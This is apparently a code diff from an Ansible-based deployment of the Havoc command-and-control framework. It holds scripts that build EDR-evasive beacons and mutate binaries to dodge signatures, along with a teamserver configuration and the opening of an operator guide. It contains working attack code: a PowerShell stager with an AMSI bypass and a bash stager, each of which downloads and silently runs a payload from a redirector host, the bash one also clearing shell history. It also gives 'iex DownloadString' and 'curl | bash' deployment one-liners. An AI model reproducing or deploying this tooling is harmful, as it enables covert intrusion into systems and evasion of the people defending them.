|
||||
# Windows EXE/DLL modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Modify PE header timestamps with random value
|
||||
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
|
||||
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
|
||||
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
|
||||
|
||||
# Try to strip debug information
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-debug "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
elif file "$input_file" | grep -q "ELF"; then
|
||||
# Linux ELF modifications
|
||||
|
||||
# Add random bytes to end of file
|
||||
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
|
||||
|
||||
# Try to strip all symbols
|
||||
if command -v strip &> /dev/null; then
|
||||
strip --strip-all "$temp_file" 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
|
||||
# Replace original with modified version
|
||||
mv "$temp_file" "$input_file"
|
||||
|
||||
echo "[+] Binary modifications complete"
|
||||
}
|
||||
|
||||
# Create advanced Havoc payload profile with evasion techniques
|
||||
generate_profile() {
|
||||
local type=$1
|
||||
local profile_name="${type}_profile_$(random_string 8).json"
|
||||
|
||||
echo "[+] Creating evasive $type profile..."
|
||||
|
||||
# Generate random values for this profile
|
||||
local sleep_time=$(( RANDOM % 10 + 2 ))
|
||||
local jitter_percent=$(( RANDOM % 50 + 10 ))
|
||||
|
||||
if [ "$type" == "windows" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": $(( RANDOM % 3 )),
|
||||
"ExecutionMethod": $(( RANDOM % 3 )),
|
||||
"ExecuteOptions": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true,
|
||||
"SyscallMethod": $(( RANDOM % 3 )),
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
},
|
||||
"Binary": {
|
||||
"Subsystem": $(( RANDOM % 2 + 1 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
elif [ "$type" == "linux" ]; then
|
||||
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": ${sleep_time},
|
||||
"SleepJitter": ${jitter_percent},
|
||||
"Injection": {
|
||||
"SpawnMethod": $(( RANDOM % 2 )),
|
||||
"AllocationMethod": $(( RANDOM % 2 ))
|
||||
},
|
||||
"Evasion": {
|
||||
"EnableSleepMask": true,
|
||||
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
fi
|
||||
|
||||
echo "$profile_name"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with EDR evasion techniques
|
||||
generate_payloads() {
|
||||
echo "[+] Generating EDR-evasive Havoc beacons..."
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(generate_profile "windows")
|
||||
win_output="update_win_$(random_string 8).exe"
|
||||
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$win_profile" \
|
||||
--format exe \
|
||||
--output "$BEACONS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$win_output"
|
||||
fi
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(generate_profile "windows")
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$dll_profile" \
|
||||
--format dll \
|
||||
--output "$BEACONS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/windows/$dll_output"
|
||||
fi
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(generate_profile "linux")
|
||||
linux_output="update_linux_$(random_string 8)"
|
||||
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$linux_profile" \
|
||||
--format elf \
|
||||
--output "$BEACONS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Apply custom binary modifications
|
||||
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
|
||||
modify_binary "$BEACONS_DIR/linux/$linux_output"
|
||||
fi
|
||||
|
||||
# Windows shellcode (staged payload)
|
||||
shellcode_profile=$(generate_profile "windows")
|
||||
shellcode_output="shellcode_$(random_string 8).bin"
|
||||
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
|
||||
|
||||
$HAVOC_DIR/Client/havoc headless \
|
||||
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||
--username "$ADMIN_USER" \
|
||||
--password "$ADMIN_PASS" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$BEACONS_DIR/$shellcode_profile" \
|
||||
--format shellcode \
|
||||
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload information
|
||||
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating evasive stagers..."
|
||||
|
||||
# Create PowerShell stager directory
|
||||
mkdir -p $BEACONS_DIR/stagers
|
||||
|
||||
# PowerShell stager with AMSI bypass and obfuscation
|
||||
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
|
||||
# PowerShell stager for Havoc C2 with AMSI bypass
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
|
||||
# AMSI Bypass
|
||||
function Bypass-AMSI {
|
||||
$a = [Ref].Assembly.GetTypes()
|
||||
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
|
||||
$d = $c.GetFields('NonPublic,Static')
|
||||
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
|
||||
$g = $f.GetValue($null)
|
||||
[IntPtr]$ptr = $g
|
||||
[Int32[]]$buf = @(0)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
||||
}
|
||||
|
||||
# Try to bypass AMSI
|
||||
try { Bypass-AMSI } catch {}
|
||||
|
||||
# Randomize variables for evasion
|
||||
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||
|
||||
# Error handling with obfuscation
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
|
||||
|
||||
# Split URL to avoid detection
|
||||
$r1 = "https://"
|
||||
$r2 = "REDIRECTOR_HOST"
|
||||
$r3 = "/content/windows/WINDOWS_EXE"
|
||||
$url = $r1 + $r2 + $r3
|
||||
|
||||
# Download with jitter
|
||||
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
|
||||
# Start process with extra obfuscation
|
||||
$p = New-Object System.Diagnostics.Process
|
||||
$p.StartInfo.FileName = $outpath
|
||||
$p.StartInfo.WindowStyle = 'Hidden'
|
||||
$p.StartInfo.CreateNoWindow = $true
|
||||
$p.Start()
|
||||
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in PowerShell stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||
|
||||
# Bash stager with obfuscation techniques
|
||||
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon with EDR evasion
|
||||
|
||||
# Function obfuscation
|
||||
function x() {
|
||||
command -v "$1" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
# Random temp filename
|
||||
r() {
|
||||
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
|
||||
}
|
||||
|
||||
# Randomize variables
|
||||
TMPVAR=$(r)
|
||||
TMPFILE="/tmp/.${TMPVAR}"
|
||||
|
||||
# Check which download tool is available
|
||||
if x curl; then
|
||||
# Split URL to avoid signature detection
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
curl -s -o "$TMPFILE" "$url"
|
||||
elif x wget; then
|
||||
p1="https://"
|
||||
p2="REDIRECTOR_HOST"
|
||||
p3="/content/linux/LINUX_BINARY"
|
||||
url="${p1}${p2}${p3}"
|
||||
# Add random sleep between operations
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
wget -q -O "$TMPFILE" "$url"
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Make executable and run in background
|
||||
chmod +x "$TMPFILE"
|
||||
# Add random sleep before execution
|
||||
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||
("$TMPFILE" > /dev/null 2>&1 &)
|
||||
|
||||
# Clean up command history if possible
|
||||
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
|
||||
history -c 2>/dev/null
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
# Replace placeholder values in Bash stager
|
||||
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers created successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating manifest file..."
|
||||
cat > $BEACONS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"windows_shellcode": "$shellcode_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"havoc_teamserver_port": "$TEAMSERVER_PORT",
|
||||
"havoc_http_port": "$HTTP_PORT",
|
||||
"havoc_https_port": "$HTTPS_PORT",
|
||||
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||
}
|
||||
EOF
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
local payload_info=$1
|
||||
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||
|
||||
echo "[+] Creating reference file..."
|
||||
cat > $BEACONS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
- Teamserver Port: $TEAMSERVER_PORT
|
||||
- Admin User: $ADMIN_USER
|
||||
- Admin Password: $ADMIN_PASS
|
||||
|
||||
Beacons Generated ($(date)):
|
||||
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
|
||||
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
|
||||
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
|
||||
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
|
||||
|
||||
Deployment Commands:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
|
||||
Anti-Detection Features Enabled:
|
||||
- Binary signature randomization
|
||||
- PE/ELF header manipulation
|
||||
- Sleep mask obfuscation
|
||||
- AMSI bypass in stagers
|
||||
- EDR unhooking
|
||||
- Indirect syscalls
|
||||
- Random sleep/jitter timing
|
||||
EOF
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting EDR-evasive Havoc beacon generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest file
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference file
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] EDR-evasive beacon generation complete!"
|
||||
@@ -0,0 +1,260 @@
|
||||
#!/bin/bash
|
||||
# EDR-evasive payload generator for Havoc C2
|
||||
|
||||
# Configuration (automatically populated by Ansible)
|
||||
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||
TEAMSERVER_HOST="127.0.0.1"
|
||||
TEAMSERVER_PORT="40056"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $PAYLOADS_DIR/windows
|
||||
mkdir -p $PAYLOADS_DIR/linux
|
||||
mkdir -p $PAYLOADS_DIR/staged
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
# Define Havoc profiles for different payloads
|
||||
generate_profiles() {
|
||||
echo "[+] Generating Havoc C2 profiles..."
|
||||
|
||||
# Profile for Windows EXE
|
||||
cat > $PAYLOADS_DIR/win_exe.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"IndirectSyscalls": true,
|
||||
"Inject": {
|
||||
"AllocationMethod": 0,
|
||||
"ExecutionMethod": 0,
|
||||
"ExecuteOptions": 0
|
||||
},
|
||||
"Evasion": {
|
||||
"StackSpoofing": true,
|
||||
"SleazeUnhook": true,
|
||||
"AmsiEtwPatching": true
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Profile for Linux ELF
|
||||
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
|
||||
{
|
||||
"Listener": "https",
|
||||
"Demon": {
|
||||
"Sleep": 5,
|
||||
"SleepJitter": 30,
|
||||
"Injection": {
|
||||
"SpawnMethod": 1,
|
||||
"AllocationMethod": 1
|
||||
},
|
||||
"Formats": [
|
||||
"Binary",
|
||||
"Shellcode"
|
||||
]
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Profiles created successfully"
|
||||
}
|
||||
|
||||
# Generate Havoc payloads with CLI arguments
|
||||
generate_payloads() {
|
||||
echo "[+] Generating Havoc payloads..."
|
||||
|
||||
# Windows EXE
|
||||
win_output="agent_win_$(random_string 8).exe"
|
||||
echo "[+] Generating Windows payload: $win_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format exe \
|
||||
--output "$PAYLOADS_DIR/windows/$win_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Windows DLL
|
||||
dll_output="module_$(random_string 8).dll"
|
||||
echo "[+] Generating Windows DLL: $dll_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||
--format dll \
|
||||
--output "$PAYLOADS_DIR/windows/$dll_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
# Linux ELF
|
||||
linux_output="agent_linux_$(random_string 8)"
|
||||
echo "[+] Generating Linux payload: $linux_output"
|
||||
|
||||
$HAVOC_CLIENT headless \
|
||||
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||
--username "admin" \
|
||||
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||
--daemon \
|
||||
--generate payload \
|
||||
--listener "https" \
|
||||
--config "$PAYLOADS_DIR/linux_elf.profile" \
|
||||
--format elf \
|
||||
--output "$PAYLOADS_DIR/linux/$linux_output" \
|
||||
> /dev/null 2>&1
|
||||
|
||||
echo "[+] All payloads generated successfully!"
|
||||
|
||||
# Return payload names for reference
|
||||
echo "$win_output:$dll_output:$linux_output"
|
||||
}
|
||||
|
||||
# Generate PowerShell and bash stagers
|
||||
generate_stagers() {
|
||||
win_output=$1
|
||||
linux_output=$2
|
||||
|
||||
echo "[+] Generating stagers..."
|
||||
|
||||
# PowerShell stager
|
||||
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
|
||||
# PowerShell stager for Havoc C2
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$ErrorActionPreference = 'SilentlyContinue'
|
||||
\$wc = New-Object System.Net.WebClient
|
||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
|
||||
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOF
|
||||
|
||||
# Bash stager
|
||||
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
|
||||
#!/bin/bash
|
||||
# Linux download and execute Havoc beacon
|
||||
|
||||
# Download binary to /tmp with random name
|
||||
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
|
||||
chmod +x \$TMPFILE
|
||||
|
||||
# Execute in background
|
||||
\$TMPFILE &
|
||||
|
||||
echo "Update complete."
|
||||
EOF
|
||||
|
||||
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
|
||||
|
||||
echo "[+] Stagers generated successfully"
|
||||
}
|
||||
|
||||
# Create manifest file
|
||||
create_manifest() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/manifest.json << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"generated_date": "$(date)"
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Manifest created successfully"
|
||||
}
|
||||
|
||||
# Create reference file
|
||||
create_reference() {
|
||||
payload_info=$1
|
||||
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
cat > $PAYLOADS_DIR/reference.txt << EOF
|
||||
Havoc C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
- Redirector Domain: $REDIRECTOR_HOST
|
||||
|
||||
Payloads Generated ($(date)):
|
||||
- Windows EXE: $win_output
|
||||
- Windows DLL: $dll_output
|
||||
- Linux Binary: $linux_output
|
||||
|
||||
Usage:
|
||||
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||
3. Test connectivity before deployment in target environment
|
||||
|
||||
Payload deployment:
|
||||
- PowerShell:
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||
|
||||
- Linux:
|
||||
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||
EOF
|
||||
|
||||
echo "[+] Reference file created successfully"
|
||||
}
|
||||
|
||||
# Main execution flow
|
||||
echo "[+] Starting Havoc C2 payload generation..."
|
||||
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||
echo "[+] C2 Host: $C2_HOST"
|
||||
|
||||
# Create stagers directory
|
||||
mkdir -p $PAYLOADS_DIR/stagers
|
||||
|
||||
# Generate profiles
|
||||
generate_profiles
|
||||
|
||||
# Generate payloads
|
||||
payload_info=$(generate_payloads)
|
||||
|
||||
# Generate stagers
|
||||
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||
|
||||
# Create manifest
|
||||
create_manifest "$payload_info"
|
||||
|
||||
# Create reference
|
||||
create_reference "$payload_info"
|
||||
|
||||
echo "[+] Havoc payload generation complete!"
|
||||
@@ -0,0 +1,79 @@
|
||||
Teamserver {
|
||||
Host = "0.0.0.0"
|
||||
Port = {{ havoc_teamserver_port | default(40056) }}
|
||||
|
||||
Build {
|
||||
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||
Nasm = "/usr/bin/nasm"
|
||||
}
|
||||
}
|
||||
|
||||
Operators {
|
||||
user "{{ havoc_admin_user | default('admin') }}" {
|
||||
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
|
||||
}
|
||||
{% if havoc_operators is defined %}
|
||||
{% for operator in havoc_operators %}
|
||||
user "{{ operator.name }}" {
|
||||
Password = "{{ operator.password }}"
|
||||
}
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
Listeners {
|
||||
Http {
|
||||
Name = "https"
|
||||
Hosts = [
|
||||
"{{ redirector_subdomain }}.{{ domain }}"
|
||||
]
|
||||
HostBind = "0.0.0.0"
|
||||
HostRotation = "round-robin"
|
||||
PortBind = {{ havoc_https_port | default(9443) }}
|
||||
PortConn = {{ havoc_https_port | default(9443) }}
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
||||
Headers = [
|
||||
"Accept: */*",
|
||||
"Accept-Language: en-US,en;q=0.9"
|
||||
]
|
||||
Uris = [
|
||||
"/api/v2",
|
||||
"/content",
|
||||
"/static/css",
|
||||
"/wp-content/plugins"
|
||||
]
|
||||
Response {
|
||||
Headers = [
|
||||
"Content-Type: application/json",
|
||||
"Cache-Control: no-store, private",
|
||||
"X-Content-Type-Options: nosniff"
|
||||
]
|
||||
}
|
||||
Secure = true
|
||||
|
||||
Cert {
|
||||
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
|
||||
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Demon {
|
||||
Sleep = {{ havoc_sleep | default(5) }}
|
||||
Jitter = {{ havoc_jitter | default(30) }}
|
||||
|
||||
Injection {
|
||||
{% if havoc_spawn64 is defined %}
|
||||
Spawn64 = "{{ havoc_spawn64 }}"
|
||||
{% else %}
|
||||
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
|
||||
{% endif %}
|
||||
|
||||
{% if havoc_spawn32 is defined %}
|
||||
Spawn32 = "{{ havoc_spawn32 }}"
|
||||
{% else %}
|
||||
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
|
||||
{% endif %}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
HAVOC C2 OPERATIONS GUIDE
|
||||
==========================
|
||||
|
||||
This guide provides information on using the Havoc C2 framework (dev branch)
|
||||
deployed on your infrastructure.
|
||||
|
||||
SERVER INFORMATION
|
||||
-----------------
|
||||
C2 Server IP: {{ c2_ip }}
|
||||
Redirector Domain: {{ redirector_domain }}
|
||||
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
|
||||
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
|
||||
Admin User: {{ havoc_admin_user | default('admin') }}
|
||||
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
CONNECTING TO THE TEAMSERVER
|
||||
---------------------------
|
||||
From your local machine:
|
||||
|
||||
1. Make sure Havoc client (dev branch) is installed:
|
||||
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||
$ cd Havoc/Client
|
||||
$ mkdir build && cd build
|
||||
$ cmake -GNinja ..
|
||||
$ ninja
|
||||
|
||||
2. Connect to the Teamserver via GUI:
|
||||
- Host: {{ c2_ip }}
|
||||
- Port: {{ havoc_teamserver_port | default(40056) }}
|
||||
- User: {{ havoc_admin_user | default('admin') }}
|
||||
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
|
||||
|
||||
3. CLI Connection:
|
||||
